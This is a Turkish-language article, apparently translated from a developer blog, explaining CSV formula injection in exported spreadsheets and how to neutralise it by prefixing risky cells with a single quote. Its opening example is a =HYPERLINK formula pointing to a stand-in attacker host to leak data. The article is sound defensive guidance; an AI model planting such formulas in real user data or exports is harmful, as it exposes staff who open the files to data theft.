CSV Injection: Kod Çalıştıran Dışa Aktarma Butonu

Bir müşteri adını girer. =HYPERLINK("http://evil.example/leak", "click") yazar. Sisteminiz bunu kabul eder. Düz metin gibi görünür.

Haftalar sonra, finans ekibiniz bir müşteri listesini CSV olarak dışa aktarır. Dosyayı Excel'de açarlar. O hücre artık metin değildir. Bir formüldür.

Bu, CSV injection'dır. İnsanlar buna formül enjeksiyonu da derler. E-ticaret panellerinde yaygın bir hatadır. Çoğu ekip bunu test etmez.

Hesap tablosu uygulamaları her hücreyi metin olarak değerlendirmez. Eğer bir hücre =, +, - veya @ ile başlıyorsa, Excel veya Google Sheets bunu bir formül olarak okur.

Bir formül matematikten daha fazlasını yapabilir. Bir URL oluşturabilir. Bir ağa erişebilir. Bazı durumlarda, bir bilgisayarda komutlar çalıştırabilir.

Veri, veritabanınızda metin olarak kalır. Bir insan dosyayı açtığı anda yürütülebilir hale gelir. Genellikle kurban, yüksek erişim yetkilerine sahip bir personeldir.

Kullanıcı verilerini dışa aktardığınız her yerde risk altındasınız:

  • Müşteri adı ve adres dışa aktarımları
  • CSV olarak dışa aktarılan sipariş tabloları
  • Tedarikçilerden gelen ürün beslemeleri
  • İletişim formu dökümleri

Bir saldırganın yönetici erişimine ihtiyacı yoktur. Kendi adlarını bir formül olarak ayarlarlar ve beklerler.

Bunu girdi doğrulama (input validation) sırasında düzeltmeye çalışmayın. Değer, bir hesap tablosu onu okuyana kadar meşru bir metindir. Bunun yerine, CSV dosyasını yazarken veriyi temizleyin (sanitize).

Eğer bir hücre =, +, -, @, bir sekme (tab) veya bir satır başı (carriage return) ile başlıyorsa, başına tek bir tırnak işareti ekleyin.

Örnek mantık: Eğer değer bir tetikleyici karakterle başlıyorsa, "'" + value döndürün.

Tek tırnak işareti, hesap tablosuna hücreyi metin olarak işlemesini söyler. Hesap tablosu tırnak işaretini kullanıcıdan gizler. Her alanı dosyaya girmeden önce bu kontrolden geçirin.

Verilerinizi veritabanınızda escape etmeyin. Değer veritabanınızda ve HTML'inizde sorunsuzdur. Sadece bir CSV içinde tehlikelidir. Verilerinizin başka yerlerde temiz kalması için CSV sınırını koruyun.

Dahili dışa aktarımlarınıza güvenmeyi bırakın. Saldırganlar bu dosyalar aracılığıyla personelinizi hedef alır.

CSV injection, korkutucu tarayıcı uyarılarını tetiklemez. Yıllar önce oluşturduğunuz dışa aktarma butonunun içine gizlenir. CSV dışa aktarma kodunuzu şimdi kontrol edin. Eğer her hücrenin ilk karakterini korumuyorsanız, risk altındasınız.

Kaynak: https://dev.to/iamrobindhiman/csv-injection-the-export-button-that-runs-code-on-someone-elses-machine-3ki6